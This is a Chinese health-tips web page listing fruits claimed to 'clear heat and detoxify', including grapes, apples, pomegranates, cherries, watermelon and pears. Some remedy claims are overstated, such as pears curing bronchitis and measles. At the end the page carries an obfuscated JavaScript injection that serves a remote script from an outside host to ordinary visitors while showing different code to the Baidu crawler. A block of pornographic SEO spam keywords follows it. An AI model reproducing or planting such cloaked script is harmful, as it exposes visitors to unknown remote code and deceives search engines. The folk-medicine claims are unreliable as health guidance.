當前位置:首頁 > 飲食 > 健康飲食 > 正文

水果營養(yǎng)高 盤點清熱解毒有營養(yǎng)的水果

2019-04-29 15:39:40  來源:360常識網(wǎng)   熱度:
導語:各種各樣的水果在我們的日常生活中十分常見,而且很多朋友都很喜歡吃水果。那么提起清熱解毒的水果,我想這個問題是大家在炎熱的夏季最為需

各種各樣的水果在我們的日常生活中十分常見,而且很多朋友都很喜歡吃水果。那么提起清熱解毒的水果,我想這個問題是大家在炎熱的夏季最為需要去尋找的了。下面就讓360常識網(wǎng)來悄悄告訴大家,吃什么水果清熱解毒效果好吧!

水果有很高的營養(yǎng) 盤點清熱解毒的水果

葡萄

葡萄有很高的營養(yǎng),其酸甜可口,具有益氣血、補肝腎、生津液、利小便等功效。生吃可滋陰除煩,搗汁加熟蜜濃煎收膏,用開水沖服,治療煩熱口渴效果最好。經(jīng)常食用的話,對神經(jīng)衰弱和過度疲勞均有很大的補益作用。葡萄制干后,鐵和糖的含量相對增加,因此葡萄干是兒童、婦女和體弱貧血者的滋補佳品。

水果有很高的營養(yǎng) 盤點清熱解毒的水果

蘋果

美國有一條諺語是這樣說的,“每天兩個蘋果,不用去診所”。其意思是說蘋果的營養(yǎng)價值非常高,經(jīng)常食用的話可以預防很多疾病的。營養(yǎng)專家們也發(fā)現(xiàn),蘋果中所含的果酸,確實可促進消化吸收,還纖維素可促進排便,果膠可制止輕度止瀉。小孩子輕度腹瀉時,可將蘋果搗成泥,連吃兩天,有助于糾正腹瀉。上火牙齦出血時,每天飯后吃一個蘋果,就可減輕出血癥狀。

水果有很高的營養(yǎng) 盤點清熱解毒的水果

石榴

石榴性溫味甘酸,具有生津液、止煩渴的作用。凡津液不足、口燥咽干、煩渴不休者,可將石榴作為食療的佳品。石榴搗汁或煎湯飲,能夠清熱解毒、潤肺止咳、殺蟲止痢,還可治療小兒疳積、久瀉久痢等。

水果有很高的營養(yǎng) 盤點清熱解毒的水果

櫻桃

櫻桃是目前公認具有祛除人體毒素及不潔體液的水果,對腎臟清熱排毒也具有非常好的功效,而且還具有通便的作用哦。另外,深紫色的葡萄也具有排毒的效果,而且能幫助腸內(nèi)黏液組成,清除肝、腸、胃、腎的垃圾。

水果有很高的營養(yǎng) 盤點清熱解毒的水果

西瓜

清熱解毒的水果有哪些呢?西瓜就是其一哦。西瓜不但能夠清熱解毒、除煩止渴,而且還能利尿,幫助消化呢。因此,人們在炎熱的夏季一定要多吃些西瓜,特別是從事露天工作或在室內(nèi)高溫環(huán)境下工作的人員。此外,清熱類食物有清熱涼血,解毒的作用,適合治療熱證。但是西瓜性多寒涼,因此寒性體質、虛寒證及產(chǎn)后的婦女應該忌食。

水果有很高的營養(yǎng) 盤點清熱解毒的水果

梨子我們都有吃過,梨肉香甜可口,肥嫩多汁,具有清熱解毒、潤肺生津、止咳化痰等功效,無論是生食、榨汁、燉煮還是熬膏食用,對肺熱咳嗽、麻疹及老年咳嗽、支氣管炎等癥均有非常好的治療效果。若與蜂蜜、荸薺、甘蔗等榨汁同服,效果會更好哦。

清熱解毒的水果還不止以上這些呢,在我們?nèi)粘I钪心軌蚯鍩峤舛镜乃€有很多,如獼猴桃、草莓、桑葚、枇杷等等,均是清熱解毒的水果哦。因此建議大家平時可以適當?shù)某砸恍┧悦馍匣稹?/p>

轉載申明:360常識網(wǎng),歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品国产高清久久久久久小说| 91www永久在线精品果冻传媒| 一区精品麻豆入口| 欧美黑人巨大精品videos| 91人妻人人澡人人爽人人精品| 久久精品人人做人人爽电影| 国产女人水真多18毛片18精品| 国产精品部在线观看| 任我爽精品视频在线播放| 国产乱人伦偷精精品视频| 国产精品爆乳在线播放第一人称| 伊人久久精品一区二区三区| 无码精品A∨在线观看免费| 亚洲国产精品成人综合久久久| 无码久久精品国产亚洲Av影片| 亚洲国产精品久久久天堂| 亚洲av无码乱码国产精品fc2| 精品国产综合成人亚洲区| 亚洲欧洲国产精品香蕉网| 亚洲线精品一区二区三区影音先锋| 久久久久这里只有精品| 国产精品无打码在线播放| 国产色精品vr一区区三区| 久久精品夜色噜噜亚洲A∨| 久久精品国产亚洲5555| 亚洲日韩精品射精日| 亚洲国产精品福利片在线观看| 亚洲国产精品一区二区久久hs| 久久精品中文字幕无码| 99在线视频精品费观看视| 久久99国产精品尤物| 精品久久久久久蜜臂a∨| 国产精品自在拍在线拍 | 亚洲精品无码精品mV在线观看| 久久精品国产福利国产琪琪| 三级精品视频在线播放| 嫩草影院久久国产精品| 99久久免费看国产精品| 亚洲午夜精品在线| 国产精品无码一区二区三区不卡| 国产精品亚洲精品日韩动图|